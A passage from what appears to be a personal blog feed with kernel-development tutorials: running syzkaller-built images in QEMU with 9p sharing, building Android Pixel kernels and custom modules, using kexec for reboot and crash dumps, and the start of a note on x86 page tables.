<p>Building a rootfs from scratch can be a daunting task. However, there are tools available that can help you build a rootfs with ease. We can obtain a script named <code class="language-plaintext highlighter-rouge">create-image.sh</code> from <a href="https://github.com/google/syzkaller/blob/master/tools/create-image.sh">here</a>. This script is a part of syzkaller project and is used to create a rootfs for QEMU. The script is well documented and easy to understand. The script uses <code class="language-plaintext highlighter-rouge">debootstrap</code> to create a rootfs. You can install <code class="language-plaintext highlighter-rouge">debootstrap</code> using your package manager.</p>

<h2 id="downloading-nightmare-under-slow-network">Downloading nightmare under slow network.</h2>

<p>There is a small issue with the script’s configuration. By default, <code class="language-plaintext highlighter-rouge">create-image.sh</code> does not cache anything previously downloaded. If the script is interrupted for any reason, it will download everything again. This can be a problem if you have a slow internet connection. To fix this issue, you can change the following line in the script.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">DEBOOTSTRAP_PARAMS</span><span class="o">=</span><span class="s2">"--arch=</span><span class="nv">$DEBARCH</span><span class="s2"> --include=</span><span class="nv">$PREINSTALL_PKGS</span><span class="s2"> --components=main,contrib,non-free,non-free-firmware --cache-dir=</span><span class="si">$(</span><span class="nb">pwd</span><span class="si">)</span><span class="s2">/.cache </span><span class="nv">$RELEASE</span><span class="s2"> </span><span class="nv">$DIR</span><span class="s2">"</span>
</code></pre></div></div>

<h1 id="kernel-made-easy">Kernel made easy.</h1>

<p>There are some mythical configuration besides <code class="language-plaintext highlighter-rouge">$ARCH_defconfig</code> that you need if you want to boot smoothly in QEMU. These are the following. These stuff can be found at <a href="https://github.com/google/syzkaller/issues/760">here</a>.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>CONFIG_CONFIGFS_FS=y
CONFIG_SECURITYFS=y
CONFIG_BINFMT_MISC=y
</code></pre></div></div>

<h1 id="qemu-made-easy">QEMU made easy.</h1>

<p>Now that we have a rootfs and kernel image, we can boot the system using QEMU. The following command will boot the system. I use aarch64 as an example. You can change the architecture according to your kernel image.</p>

<blockquote>
  <p>Note that the kernel cmdline argument <code class="language-plaintext highlighter-rouge">net.ifnames=0</code> is NOT redundant, otherwise the image will boot into emergency mode.</p>
</blockquote>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>qemu-system-aarch64 <span class="se">\</span>
        <span class="nt">-machine</span> virt,virtualization<span class="o">=</span><span class="nb">true</span>,gic-version<span class="o">=</span>3 <span class="se">\</span>
        <span class="nt">-nographic</span> <span class="se">\</span>
        <span class="nt">-m</span> <span class="nv">size</span><span class="o">=</span>1024M <span class="se">\</span>
        <span class="nt">-cpu</span> max <span class="se">\</span>
        <span class="nt">-smp</span> 2 <span class="se">\</span>
        <span class="nt">-hda</span> ./bookworm.img <span class="se">\ </span>                              <span class="c"># change this to your image path</span>
        <span class="nt">-nic</span> user,model<span class="o">=</span>virtio-net-pci <span class="se">\</span>
        <span class="nt">-kernel</span> ./linux-6.8.8/arch/arm64/boot/Image <span class="se">\ </span>      <span class="c"># change this to your kernel path</span>
        <span class="nt">--append</span> <span class="s2">"console=ttyAMA0 root=/dev/vda rw net.ifnames=0"</span>
</code></pre></div></div>

<h1 id="sharing-between-host-and-guest">Sharing between host and guest.</h1>

<blockquote>
  <p>The following content is taken from <a href="https://superuser.com/questions/628169/how-to-share-a-directory-with-the-host-without-networking-in-qemu">here</a>.</p>
</blockquote>

<p>To begin with, we need to enable the following kernel configuration in the <em>guest</em> kernel.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>CONFIG_9P_FS=y
CONFIG_9P_FS_POSIX_ACL=y
CONFIG_9P_FS_SECURITY=y
CONFIG_NETWORK_FILESYSTEMS=y
CONFIG_NET_9P=y
CONFIG_NET_9P_DEBUG=y
CONFIG_NET_9P_VIRTIO=y
# if you are using aarch64, add the following as well.
CONFIG_PCI=y
CONFIG_PCI_HOST_COMMON=y
CONFIG_PCI_HOST_GENERIC=y
CONFIG_VIRTIO_PCI=y
CONFIG_VIRTIO_BLK=y
CONFIG_VIRTIO_NET=y
</code></pre></div></div>

<p>We then add the following stuff, telling QEMU to map a host directory into the guest.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># original post says to use security_model=passthrough, but it doesn't work for me.
-virtfs local,path=&lt;host-path&gt;,mount_tag=host0,security_model=mapped-xattr,id=host0
</code></pre></div></div>

<p>In the guest, we can mount the shared directory using the following command.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mount -t 9p -o trans=virtio,version=9p2000.L host0 &lt;guest-path&gt;
</code></pre></div></div>

<p>Or you can just add a line in <code class="language-plaintext highlighter-rouge">/etc/fstab</code> to mount the directory automatically.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>host0   &lt;guest-path&gt;  9p      trans=virtio,version=9p2000.L   0 0
</code></pre></div></div>]]></content><author><name>Hongyi LU</name><email>jwnhy0@gmail.com</email></author><summary type="html"><![CDATA[How to quickly run a virtual machine in QEMU.]]></summary></entry><entry><title type="html">Android AOSP kernel build, module build, and misc.</title><link href="https://hongyi.lu/android-build/" rel="alternate" type="text/html" title="Android AOSP kernel build, module build, and misc." /><published>2024-04-04T00:00:00+00:00</published><updated>2024-04-04T00:00:00+00:00</updated><id>https://hongyi.lu/android-build</id><content type="html" xml:base="https://hongyi.lu/android-build/"><![CDATA[<p>Building Android AOSP kernel and adding custom kernel modules!</p>

<h2 id="build-release-kernel">Build release kernel.</h2>

<p>First we need to follow the official <a href="https://source.android.com/docs/setup/build/building-pixel-kernels">guide</a>.
For example, if we want to build kernel for Pixel 8 Pro (Husky), we run the following commands to initialize the repo.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>repo init https://android.googlesource.com/kernel/manifest <span class="nt">--depth</span><span class="o">=</span>1 <span class="nt">--groups</span><span class="o">=</span>default,-mips,-darwin,-x86,-riscv <span class="nt">-b</span> android-gs-shusky-5.15-android14-d1
repo <span class="nb">sync</span> <span class="nt">-c</span> <span class="nt">--no-tags</span>
</code></pre></div></div>

<p>Let’s go through these options one by one.</p>

<ol>
  <li><code class="language-plaintext highlighter-rouge">https://android.googlesource.com/kernel/manifest</code> is the manifest url of your android build, you might use other mirror like <a href="https://mirrors.tuna.tsinghua.edu.cn/help/AOSP/">Tsinghua</a>.</li>
  <li><code class="language-plaintext highlighter-rouge">--depth=1</code> means we don’t want any history, shrinking the disk usage by much.</li>
  <li><code class="language-plaintext highlighter-rouge">--groups=default,-mips,-darwin,-x86,-riscv</code> means we don’t want to build Android for {mips, x86, and riscv} or install MacOS toolchains (darwin).</li>
  <li><code class="language-plaintext highlighter-rouge">-b android-gs-shusky-5.15-android14-d1</code> is the manifest branch for Pixel 8 Pro, found on <a href="https://source.android.com/docs/setup/build/building-pixel-kernels">guide</a>.</li>
</ol>

<h2 id="build-qpr-kernel-quarterly-platform-release">Build QPR kernel (Quarterly Platform Release)</h2>

<p>You might notice that <code class="language-plaintext highlighter-rouge">https://android.googlesource.com/kernel/manifest</code> does not contain QPR builds (simply replacing the branch suffix <code class="language-plaintext highlighter-rouge">-d1</code> with <code class="language-plaintext highlighter-rouge">qprX-beta</code> does not work). We need to manually modify the <code class="language-plaintext highlighter-rouge">default.xml</code> in <code class="language-plaintext highlighter-rouge">.repo/manifests</code>.</p>

<p>Note that manifests are just declarations indicating where to pull the sources from. Though there is NO <code class="language-plaintext highlighter-rouge">qprX-beta</code> branch manifest for a complete kernel build, there are sub-manifests in each sub-repo. We just need to enable pointing the manifest to them by changing the <code class="language-plaintext highlighter-rouge">&lt;default revision&gt;</code> tag in the manifest <code class="language-plaintext highlighter-rouge">default.xml</code>.</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;default</span> <span class="na">revision=</span><span class="s">"android-gs-shusky-5.15-android14-qpr3-beta"</span> <span class="na">remote=</span><span class="s">"aosp"</span> <span class="na">sync-j=</span><span class="s">"4"</span> <span class="nt">/&gt;</span>
</code></pre></div></div>

<p>After modifying the <code class="language-plaintext highlighter-rouge">default.xml</code>, syncing and building the repo, you might encounter errors that say something is missing.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&lt;I am too lazy to re-run the building process to show the error message.&gt;
</code></pre></div></div>

<p>We just add the relevant declarations, like this. You can find the list of AOSP modules in <code class="language-plaintext highlighter-rouge">https://android.googlesource.com/kernel/</code>.</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;project</span> <span class="na">path=</span><span class="s">"private/google-modules/uwb/qorvo/qm35"</span> <span class="na">name=</span><span class="s">"kernel/google-modules/uwb/qorvo/qm35"</span> <span class="na">groups=</span><span class="s">"partner"</span> <span class="nt">/&gt;</span>
</code></pre></div></div>

<h2 id="build-kernel-module">Build Kernel Module</h2>

<p>Most existing modules are in <code class="language-plaintext highlighter-rouge">./private/google-modules</code>. For now, I only know how to add a new module in this folder and its sub-folders. I will introduce the following contents.</p>

<ul>
  <li>Bazel setup &amp; reference other module</li>
  <li>Generation of <code class="language-plaintext highlighter-rouge">compile_commands.json</code></li>
  <li>Miscellaneous</li>
</ul>

<h3 id="bazel-setup--reference-other-module">Bazel setup &amp; reference other module</h3>

<p>In this example, I will introduce how to create a new module named <code class="language-plaintext highlighter-rouge">moye</code> and reference <code class="language-plaintext highlighter-rouge">mali_kbase</code> in it.
Let’s create a module in <code class="language-plaintext highlighter-rouge">./private/google-modules/gpu/csfparser/moye</code>. After copying your module codes into it, it should contain the following. Note that we need to create <code class="language-plaintext highlighter-rouge">BUILD.bazel</code>, <code class="language-plaintext highlighter-rouge">Kbuild</code>.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>❯ <span class="nb">ls
</span>bifrost  BUILD.bazel            kbase_defs.h  main.c  Makefile   moye_fw.h   moye_mmu.h     util.c
build    compile_commands.json  Kbuild        main.h  moye_fw.c  moye_mmu.c  moye_regmap.h  util.h
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">BUILD.bazel</code> looks like:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">load</span><span class="p">(</span><span class="s">"//build/kernel/kleaf:kernel.bzl"</span><span class="p">,</span> <span class="s">"kernel_module"</span><span class="p">)</span>

<span class="n">kernel_module</span><span class="p">(</span>
    <span class="n">name</span> <span class="o">=</span> <span class="s">"moye"</span><span class="p">,</span>
    <span class="n">srcs</span> <span class="o">=</span> <span class="n">glob</span><span class="p">([</span>
        <span class="s">"**/*.c"</span><span class="p">,</span>
        <span class="s">"**/*.h"</span><span class="p">,</span>
        <span class="s">"Kbuild"</span><span class="p">,</span>
    <span class="p">])</span> <span class="o">+</span> <span class="p">[</span>
        <span class="s">"//private/google-modules/gpu/mali_kbase:headers"</span><span class="p">,</span>
        <span class="s">"//private/google-modules/gpu/common:headers"</span><span class="p">,</span>
        <span class="s">"//private/google-modules/soc/gs:gs_soc_headers"</span><span class="p">,</span>
    <span class="p">],</span>
    <span class="n">outs</span> <span class="o">=</span> <span class="p">[</span>
        <span class="s">"moye.ko"</span><span class="p">,</span>
    <span class="p">],</span>
    <span class="n">kernel_build</span> <span class="o">=</span> <span class="s">"//private/google-modules/soc/gs:gs_kernel_build"</span><span class="p">,</span>
    <span class="n">visibility</span> <span class="o">=</span> <span class="p">[</span>
        <span class="s">"//private/devices/google:__subpackages__"</span><span class="p">,</span>
        <span class="s">"//private/google-modules/gpu/mali_kbase:__pkg__"</span><span class="p">,</span>
        <span class="s">"//private/google-modules/soc/gs:__pkg__"</span><span class="p">,</span>
    <span class="p">],</span>
    <span class="n">deps</span> <span class="o">=</span> <span class="p">[</span>
        <span class="s">"//private/google-modules/gpu/mali_kbase"</span><span class="p">,</span>
        <span class="s">"//private/google-modules/soc/gs:gs_soc_module"</span><span class="p">,</span>
    <span class="p">],</span>
<span class="p">)</span>
</code></pre></div></div>

<p>Essentially, <code class="language-plaintext highlighter-rouge">BUILD.bazel</code> decides what is available when compiling the module. That is why we have</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="n">srcs</span> <span class="o">=</span> <span class="n">glob</span><span class="p">([</span>
        <span class="s">"**/*.c"</span><span class="p">,</span> <span class="c1"># including all C files.
</span>        <span class="s">"**/*.h"</span><span class="p">,</span> <span class="c1"># including all header files.
</span>        <span class="s">"Kbuild"</span><span class="p">,</span> <span class="c1"># including the Kbuild of the module.
</span>    <span class="p">])</span> <span class="o">+</span> <span class="p">[</span>
        <span class="c1"># we want to use headers from other modules.
</span>        <span class="s">"//private/google-modules/gpu/mali_kbase:headers"</span><span class="p">,</span>
        <span class="s">"//private/google-modules/gpu/common:headers"</span><span class="p">,</span>
        <span class="s">"//private/google-modules/soc/gs:gs_soc_headers"</span><span class="p">,</span>
    <span class="p">],</span>
</code></pre></div></div>

<p>In particular, <code class="language-plaintext highlighter-rouge">//private/google-modules/gpu/mali_kbase</code> in fact refers to the Bazel target of another module named <code class="language-plaintext highlighter-rouge">mali_kbase</code>. It is located in <code class="language-plaintext highlighter-rouge">./private/google-modules/gpu/mali_kbase</code>. The <code class="language-plaintext highlighter-rouge">visibility</code> and <code class="language-plaintext highlighter-rouge">deps</code> specifies what modules can sees our module and what modules our module depends on. <code class="language-plaintext highlighter-rouge">deps</code> is particularly important if you want to reference other modules.</p>

<p>Now let’s see the <code class="language-plaintext highlighter-rouge">Kbuild</code> file.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># make $(src) as absolute path if it isn't already, by prefixing $(srctree)</span>
src:<span class="o">=</span><span class="si">$(</span><span class="k">if</span> <span class="si">$(</span>patsubst /%,,<span class="si">$(</span>src<span class="si">))</span>,<span class="si">$(</span>srctree<span class="si">)</span>/<span class="si">$(</span>src<span class="si">)</span>,<span class="si">$(</span>src<span class="si">))</span>

obj-m +<span class="o">=</span> moye.o	
moye-objs :<span class="o">=</span> main.o util.o moye_fw.o moye_mmu.o

ccflags-y +<span class="o">=</span> <span class="se">\</span>
    <span class="si">$(</span>DEFINES<span class="si">)</span> <span class="se">\</span>
    <span class="nt">-I</span><span class="si">$(</span>src<span class="si">)</span>/../../common/include <span class="se">\</span>
    <span class="nt">-I</span><span class="si">$(</span>src<span class="si">)</span>/../../mali_kbase <span class="se">\</span>
    <span class="nt">-I</span><span class="si">$(</span>srctree<span class="si">)</span>/include/linux <span class="se">\</span>
    <span class="nt">-DMALI_CUSTOMER_RELEASE</span><span class="o">=</span>1 <span class="se">\</span>
    <span class="nt">-DMALI_USE_CSF</span><span class="o">=</span>1 <span class="se">\</span>
    <span class="nt">-DMALI_UNIT_TEST</span><span class="o">=</span>0 <span class="se">\</span>
    <span class="nt">-DMALI_JIT_PRESSURE_LIMIT_BASE</span><span class="o">=</span>0 <span class="se">\</span>
</code></pre></div></div>

<p>Except the usual <code class="language-plaintext highlighter-rouge">obj-m</code> and <code class="language-plaintext highlighter-rouge">moye-objs</code> for kernel module, we add <code class="language-plaintext highlighter-rouge">CFLAGS</code> via <code class="language-plaintext highlighter-rouge">ccflags-y</code>. The <code class="language-plaintext highlighter-rouge">BUILD.bazel</code> only enables our module see the additional headers, they still require manual inclusion, such as <code class="language-plaintext highlighter-rouge">-I$(src)/../../common/include</code>. Note that Bazel respects the original folder structure, so we need to jump out of our folder using <code class="language-plaintext highlighter-rouge">../</code>.</p>

<p>As for <code class="language-plaintext highlighter-rouge">-DMALI_XXX_XXX={0,1}</code>, these defines are for the headers in <code class="language-plaintext highlighter-rouge">mali_kbase</code>. Since we directly include these header files in a hacky way, these headers need some defines to work properly. So, we just add these defines manually and make sure they align with the defines in <code class="language-plaintext highlighter-rouge">mali_kbase</code>.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#ifdef MALI_CUSTOMER_RELEASE
</span><span class="c1">// code requires these defines</span>
<span class="cp">#endif
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">Makefile</code> is rather boring. We need to suppress some warnings as we are referencing another module.</p>

<div class="language-makefile highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">KERNEL_SRC</span> <span class="o">?=</span> /lib/modules/<span class="nf">$(</span><span class="nb">shell</span> <span class="nb">uname</span> <span class="nt">-r</span><span class="nf">)</span>/build
<span class="nv">M</span> <span class="o">?=</span> <span class="nf">$(</span><span class="nb">shell</span> <span class="nb">pwd</span><span class="nf">)</span>

<span class="nv">KBUILD_OPTIONS</span> <span class="o">+=</span> <span class="nv">$(KBUILD_EXTRA)</span> <span class="c"># Extra config if any</span>

<span class="nv">EXTRA_CFLAGS</span> <span class="o">+=</span> <span class="nt">-I</span><span class="nv">$(M)</span>
<span class="nv">EXTRA_CFLAGS</span> <span class="o">+=</span> <span class="nt">-I</span><span class="nv">$(M)</span>/../../common/include
<span class="nv">EXTRA_CFLAGS</span> <span class="o">+=</span> <span class="nt">-Wno-unused-variable</span> <span class="nt">-Wno-unused-function</span> <span class="nt">-Wno-missing-prototypes</span>

<span class="nv">EXTRA_SYMBOLS</span> <span class="o">=</span> <span class="nv">$(OUT_DIR)</span>/../private/google-modules/gpu/mali_kbase/Module.symvers

<span class="k">include</span><span class="sx"> $(KERNEL_SRC)/../private/google-modules/soc/gs/Makefile.include</span>

<span class="nl">modules modules_install clean</span><span class="o">:</span>
	<span class="nv">$(MAKE)</span> <span class="nt">-C</span> <span class="nv">$(KERNEL_SRC)</span> <span class="nv">M</span><span class="o">=</span><span class="nv">$(M)</span> <span class="nv">W</span><span class="o">=</span>1 <span class="nv">$(KBUILD_OPTIONS)</span> <span class="nv">EXTRA_CFLAGS</span><span class="o">=</span><span class="s2">"</span><span class="nv">$(EXTRA_CFLAGS)</span><span class="s2">"</span> <span class="nv">KBUILD_EXTRA_SYMBOLS</span><span class="o">=</span><span class="s2">"</span><span class="nv">$(EXTRA_SYMBOLS)</span><span class="s2">"</span> <span class="err">$</span><span class="o">(</span>@<span class="o">)</span>
</code></pre></div></div>

<h3 id="generation-of-compile_commandsjson">Generation of <code class="language-plaintext highlighter-rouge">compile_commands.json</code></h3>

<p>Though AOSP provides some vague instructions on how to generate <code class="language-plaintext highlighter-rouge">compile_commands.json</code> for <em>common</em> Android kernel, I didn’t find any materials on how to generate this in a dist release. And I’m tired of jujitsu with Bazel. So, I decide just using <code class="language-plaintext highlighter-rouge">bear</code> to generate <code class="language-plaintext highlighter-rouge">compile_commands.json</code> for my module.</p>

<p>To begin with, we need to copy <code class="language-plaintext highlighter-rouge">bear</code> into the building environment. Since <code class="language-plaintext highlighter-rouge">clang</code> must be visible the environment, we just copy it there (it’s dirty but works).</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cp</span> /usr/bin/bear ./prebuilts/clang/host/linux-x86/clang-&lt;version&gt;/bin <span class="c"># let bear visible in the building environment.</span>
</code></pre></div></div>

<p>Then we just simply add <code class="language-plaintext highlighter-rouge">bear</code> into the <code class="language-plaintext highlighter-rouge">Makefile</code> of our module, or any module you want to have <code class="language-plaintext highlighter-rouge">compile_commands.json</code>.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bear <span class="nt">--</span> <span class="si">$(</span>MAKE<span class="si">)</span> <span class="nt">-C</span> <span class="si">$(</span>KERNEL_SRC<span class="si">)</span> <span class="nv">M</span><span class="o">=</span><span class="si">$(</span>M<span class="si">)</span> <span class="nv">W</span><span class="o">=</span>1 <span class="si">$(</span>KBUILD_OPTIONS<span class="si">)</span> <span class="nv">EXTRA_CFLAGS</span><span class="o">=</span><span class="s2">"</span><span class="si">$(</span>EXTRA_CFLAGS<span class="si">)</span><span class="s2">"</span> <span class="nv">KBUILD_EXTRA_SYMBOLS</span><span class="o">=</span><span class="s2">"</span><span class="si">$(</span>EXTRA_SYMBOLS<span class="si">)</span><span class="s2">"</span> <span class="si">$(</span>@<span class="si">)</span>
</code></pre></div></div>

<blockquote>
  <p>PS: You shouldn’t add <code class="language-plaintext highlighter-rouge">bear --</code> to targets like <code class="language-plaintext highlighter-rouge">module_install</code> or <code class="language-plaintext highlighter-rouge">module_clean</code> as they invoke <em>no</em> compile commands, which generates an empty <code class="language-plaintext highlighter-rouge">compile_commands.json</code> and overrides the correct one.</p>
</blockquote>

<h3 id="miscellaneous">Miscellaneous</h3>

<ul>
  <li>Note that Android kernel module does not support the default <code class="language-plaintext highlighter-rouge">init_module</code> and <code class="language-plaintext highlighter-rouge">cleanup_module</code>. Using these two directly crashes the phone. One needs to explicitly specifies the entry point using <code class="language-plaintext highlighter-rouge">module_init()</code> and <code class="language-plaintext highlighter-rouge">module_exit()</code> macros.</li>
  <li>Only the <code class="language-plaintext highlighter-rouge">T</code> symbols in the <code class="language-plaintext highlighter-rouge">/proc/kallsyms</code> can be referenced in other modules.</li>
</ul>]]></content><author><name>Hongyi LU</name><email>jwnhy0@gmail.com</email></author><summary type="html"><![CDATA[Building Android AOSP kernel and adding custom kernel modules!]]></summary></entry><entry><title type="html">How to use kexec for fast reboot/crashdump.</title><link href="https://hongyi.lu/kexec/" rel="alternate" type="text/html" title="How to use kexec for fast reboot/crashdump." /><published>2023-08-21T00:00:00+00:00</published><updated>2023-08-21T00:00:00+00:00</updated><id>https://hongyi.lu/kexec</id><content type="html" xml:base="https://hongyi.lu/kexec/"><![CDATA[<p>How to use kexec for fast reboot/crashdump?</p>

<h2 id="what-is-kexec">What is <code class="language-plaintext highlighter-rouge">kexec</code>?</h2>

<p><code class="language-plaintext highlighter-rouge">kexec</code> is a <a href="https://linux.die.net/man/8/kexec">system call</a>
that allows user to load a kernel into the memory, and boot
directly from it, without time-consuming bootloading.</p>

<p>This is useful for kernel developers or other people who need
to reboot very quickly without waiting for the whole BIOS boot
process to finish. Moreover, it is also used to boot up an
“emergency kernel” upon crash (e.g., <code class="language-plaintext highlighter-rouge">panic()</code>). This
<a href="https://www.kernel.org/doc/ols/2005/ols2005v1-pages-177-188.pdf">material</a>
explains this.</p>

<h2 id="install-and-config-kexec">Install and Config <code class="language-plaintext highlighter-rouge">kexec</code></h2>

<h3 id="kernel-configuration">Kernel Configuration</h3>

<p>To use <code class="language-plaintext highlighter-rouge">kexec</code>, the following kernel config must be enabled.</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Processor type and features ---&gt;
    [*] kexec system call
    [*] kexec file based system call
</code></pre></div></div>

<p>If you need crashdump, then the following config is needed
as well.</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Processor type and features ---&gt;
    [*] kexec system call
    [*] kernel crash dumps
    [*] Build a relocatable kernel
Kernel hacking  ---&gt;
    [*] Kernel debugging
    Compile-time checks and compiler options ---&gt;
        [*] Compile the kernel with debug info
File systems  ---&gt;
    Pseudo filesystems  ---&gt;
        -*- /proc file system support
        [*]   /proc/kcore support
        [*]   /proc/vmcore support
</code></pre></div></div>

<h3 id="grub-configuration">GRUB Configuration</h3>

<p>One need to prepare sufficient space for <code class="language-plaintext highlighter-rouge">kexec</code> to put the
new kernel. Therefore, we need to add/modify the following line
in <code class="language-plaintext highlighter-rouge">/etc/default/grub</code>.</p>

<div class="language-config highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">GRUB_CMDLINE_LINUX</span>=<span class="s2">"crashkernel=1024M,high nokaslr"</span>
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">crashkernel</code> might be a lower value if you have less
memory available. My PC has 32 GiB of memory, just for reference.</p>

<p>The <code class="language-plaintext highlighter-rouge">nokaslr</code> disables address space randomization so that,
GDB can correctly recognize debug symbols from <code class="language-plaintext highlighter-rouge">/proc/vmcore</code>.</p>

<h3 id="installation">Installation</h3>

<p>Use the following to install userland utilities (on Gentoo).</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>emerge <span class="nt">--ask</span> <span class="nt">--verbose</span> sys-apps/kexec-tools
</code></pre></div></div>

<h2 id="usage-i-fast-reboot">Usage I: Fast Reboot</h2>

<p>For fast reboot, the command is simple. Note that the <code class="language-plaintext highlighter-rouge">--initrd</code>
is not mandatory if you don’t have one. Moreover, <code class="language-plaintext highlighter-rouge">--append</code>
might be replaced with <code class="language-plaintext highlighter-rouge">--reuse-cmdline</code> if you want to use
the same set of cmdline arguments.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kexec <span class="nt">-l</span> path_to_kernel_image <span class="nt">--initrd</span><span class="o">=</span>path_to_initrd_image <span class="se">\</span>
<span class="nt">--append</span><span class="o">=</span>command-line-options
</code></pre></div></div>

<p>A concrete example would the following.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>kexec <span class="nt">-l</span> /boot/vmlinuz-6.1.38 <span class="nt">--reuse-cmdline</span>
</code></pre></div></div>

<p>With new kernel loaded, you can use the following command
to fast reboot if you’re using <code class="language-plaintext highlighter-rouge">systemd</code>.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>systemctl kexec
</code></pre></div></div>

<h2 id="usage-ii-crash-dump">Usage II: Crash Dump</h2>

<p>For crashdump, things are a far more complicated. Here
is a list of points to pay attention.</p>

<ul>
  <li>Use <code class="language-plaintext highlighter-rouge">-p</code> instead of <code class="language-plaintext highlighter-rouge">-l</code> to load crashdump kernel.</li>
  <li>Remove unnecessary modules via <code class="language-plaintext highlighter-rouge">modprobe.blacklist=&lt;comma-separated-list&gt;</code>.</li>
  <li>Limit the number of CPUs by <code class="language-plaintext highlighter-rouge">maxcpus=1</code>.</li>
  <li>Use <code class="language-plaintext highlighter-rouge">irqpoll</code> for stable interrupt handling.</li>
</ul>

<p>With all that, we can come up with the following command.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>kexec <span class="nt">-p</span> /boot/vmlinuz-6.1.31-gentoo <span class="nt">--reset-vga</span> <span class="nt">--console-vga</span> <span class="se">\ </span>
<span class="nt">--command-line</span><span class="o">=</span><span class="s2">"root=/dev/nvme0n1p5 maxcpus=1 irqpoll quite splash loglevel=3 </span><span class="se">\</span><span class="s2">
systemd.show_status=false modprobe.blacklist=iptable_nat,nvidia_drm </span><span class="se">\</span><span class="s2">
,nvidia_modeset,nvidia,iwlmvm,kvm_intel,iwlwifi,fuse,efivarfs </span><span class="se">\</span><span class="s2">
systemd.journald.forward_to_console=no"</span>
</code></pre></div></div>

<p>If you’re using a X-based GUI environment, I would suggest
that you use <code class="language-plaintext highlighter-rouge">VTx</code> via <code class="language-plaintext highlighter-rouge">Ctrl+Alt+F{1-6}</code> before you do something
to crash your kernel otherwise kernel will just be stuck.</p>

<blockquote>
  <p>Sidenote: If you are using a display manager (e.g., lxdm)
repeatedly respawn itself on failure. This repeated behavior
should be disabled, since it will force the screen to constantly
switch back to VT1.
For <code class="language-plaintext highlighter-rouge">systemd</code>, just comment out <code class="language-plaintext highlighter-rouge">Restart=Always</code> to prevent this.</p>
</blockquote>]]></content><author><name>Hongyi LU</name><email>jwnhy0@gmail.com</email></author><summary type="html"><![CDATA[How to use kexec for fast reboot/crashdump?]]></summary></entry><entry><title type="html">x86 4-level and 5-level pagetable on Linux</title><link href="https://hongyi.lu/x86_pagetable/" rel="alternate" type="text/html" title="x86 4-level and 5-level pagetable on Linux" /><published>2023-08-03T00:00:00+00:00</published><updated>2023-08-03T00:00:00+00:00</updated><id>https://hongyi.lu/x86_pagetable</id><content type="html" xml:base="https://hongyi.lu/x86_pagetable/"><![CDATA[<p>The structures of different page tables on Linux.</p>

<h2 id="theory">Theory</h2>

<p>Intel supports 5-level paging, supporting over 128 PB of memory.
However, this makes implementation of Linux a bit werid. So I
write this to help myself remember. The kernel I use is Linux 6.1.38.</p>

<p>Overall, there is also a 5-level structure in Linux as follows.</p>

<blockquote>
  <p>CR3 (128PB) -&gt; pgd (256TB) -&gt; p4d (512GB) -&gt; pud (1GB) -&gt; pmd (2MB) -&gt; pte (4KB)</p>
</blockquote>

<p>Interestingly, structures like <code class="language-plaintext highlighter-rouge">struct pgd_t</code> are in fact <em>entries</em>
inside pagetables. For instance, the following code returns the
corresponding <code class="language-plaintext highlighter-rouge">pgd</code> entry for a specific address.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kr">inline</span> <span class="n">pgd_t</span> <span class="o">*</span><span class="nf">pgd_offset_pgd</span><span class="p">(</span><span class="n">pgd_t</span> <span class="o">*</span><span class="n">pgd</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">address</span><span class="p">)</span>
<span class="p">{</span>
    <span class="k">return</span> <span class="p">(</span><span class="n">pgd</span> <span class="o">+</span> <span class="n">pgd_index</span><span class="p">(</span><span class="n">address</span><span class="p">));</span>
<span class="p">};</span>
</code></pre></div></div>

<p>However, this causes a divergence in terms of semantics of <code class="language-plaintext highlighter-rouge">*_offset</code>
functions.</p>

<p>For <code class="language-plaintext highlighter-rouge">pgd_t</code> and <code class="language-plaintext highlighter-rouge">pgd_t</code> only, the <code class="language-plaintext highlighter-rouge">pgd_offset_*</code> functions
perform <em>same</em> level offseting (<code class="language-plaintext highlighter-rouge">pgd_t</code> -&gt; <code class="language-plaintext highlighter-rouge">pgd_t</code>).</p>

<p>For other levels, the <code class="language-plaintext highlighter-rouge">*_offset</code> function return the pagetable for
